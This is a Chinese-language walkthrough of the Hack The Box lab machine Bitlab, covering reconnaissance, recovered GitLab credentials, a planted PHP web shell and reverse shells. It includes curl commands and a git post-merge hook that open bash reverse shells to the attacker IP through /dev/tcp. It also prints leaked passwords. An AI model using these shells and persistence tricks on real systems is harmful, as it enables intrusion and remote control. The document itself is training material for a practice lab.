﹀
﹀
﹀
0x00 本文目录
-
反思与总结 -
基本信息 -
渗透测试过程 -
补充
0x01 反思与总结
0x02 基本信息
靶机IP地址:10.10.10.114 Kali IP地址:10.10.14.13
0x03 渗透测试过程
端口探测
root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114
Starting Nmap 7.80 ( https://nmap.org ) at 2020‐01‐22 10:04 CST
Nmap scan report for 10.10.10.114
Host is up (0.24s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh‐hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
| http‐robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http‐title: Sign in xC2xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
|_http‐trane‐info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds
目录探测
![图片[2]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680701.jpeg)
gobuster dir ‐u "http://10.10.10.114/" ‐w /usr/share/wordlists/dirbuster/directory‐list‐
2.3‐medium.txt ‐t 150 ‐s 200,204,301,307,401,403 ‐o bitlab.gobuster
dir: 表示扫描目录的模式 -w: 使用的字典 -t: 线程数量 -s: 只显示响应码为200,204,301,307,401,403的路径,因为我们访问网页的时候有些位置是不允许我们访问会被302跳转到登录界面
![图片[3]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168071.jpeg)
漏洞发现
![图片[4]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680711.jpeg)
![图片[5]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680712.jpeg)
![图片[6]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680713.jpeg)
javascript: (function() {
var _0x4b18 = ["x76x61x6Cx75x65", "x75x73x65x72x5Fx6Cx6Fx67x69x6E",
"x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64", "x63x6Cx61x76x65",
"x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64",
"x31x31x64x65x73x30x30x38x31x78"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
})()
var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password",
"11des0081x"];
document[getElementById](user_login)[value] = clave;
document[getElementById](user_password)[value] = 11des0081x;
![图片[7]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680714.jpeg)
![图片[8]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680715.jpeg)
<?php
$input = file_get_contents("php://input");
$payload = json_decode($input);
$repo = $payload‐>project‐>name ?? '';
$event = $payload‐>event_type ?? '';
$state = $payload‐>object_attributes‐>state ?? '';
$branch = $payload‐>object_attributes‐>target_branch ?? '';
if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged')
{
echo shell_exec('cd ../profile/; sudo git pull'),"n";
}
echo "OKn";
![图片[9]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168072.jpeg)
![图片[10]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680721.jpeg)
![图片[11]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680722.jpeg)
![图片[12]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168073.jpeg)
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
![图片[13]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680731.jpeg)
![图片[14]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680732.jpeg)
![图片[15]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168074.jpeg)
http://10.10.10.114/profile/dfz.php?cmd=whoami
![图片[16]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680741.jpeg)
curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode 'cmd=whoami'
-G:表示发送GET请求 –data–urlencode:对数据进行URL编码
反弹shell
![图片[18]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168075.jpeg)
curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode "cmd=bash ‐c 'bash ‐i >&
/dev/tcp/10.10.14.13/9001 0>&1'"
![图片[19]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680751.jpeg)
python ‐c "import pty;pty.spawn('/bin/bash')"
ctrl + z (后台挂起shell)
stty raw ‐echo
fg + 多个回车
stty rows 34 cols 136
export TERM=xterm
![图片[20]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680752.jpeg)
权限提升
![图片[21]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168076.jpeg)
![图片[22]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680761.jpeg)
man githooks
![图片[23]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680762.jpeg)
![图片[24]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168077.jpeg)
![图片[25]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680771.jpeg)
![图片[26]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680772.jpeg)
/tmp/dfz/profile/.git/hooks/
中创建一个 post-merge
文件 ,并赋予执行权限
#!/bin/bash
bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'
![图片[27]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680773.jpeg)
![图片[28]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680774.jpeg)
![图片[29]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680775.jpeg)
![图片[30]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168078.jpeg)
![图片[31]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680781.jpeg)
0x04 补充
![图片[32]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168079.jpeg)
http://10.10.10.114/users/clave/snippets
![图片[33]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168080.jpeg)
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles
password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
var_dump(pg_fetch_all($result));
?>
array(1) {
[0]=>
array(3) {
["id"]=>
string(1) "1"
["username"]=>
string(5) "clave"
["password"]=>
string(22) "c3NoLXN0cjBuZy1wQHNz=="
}
}
![图片[34]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680801.jpeg)
![图片[35]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-1582168081.jpeg)
![图片[36]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680811.jpeg)
scp [email protected]:RemoteConnection.exe .
![图片[37]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680812.jpeg)
Qf7]8YSV.wDNF*[7d?j&eD4^
![图片[38]-【HTB系列】靶机Bitlab的渗透测试(渗透测试靶机搭建)-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-123154-15821680813.jpeg)
本文作者:Ms08067安全实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/123154.html
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容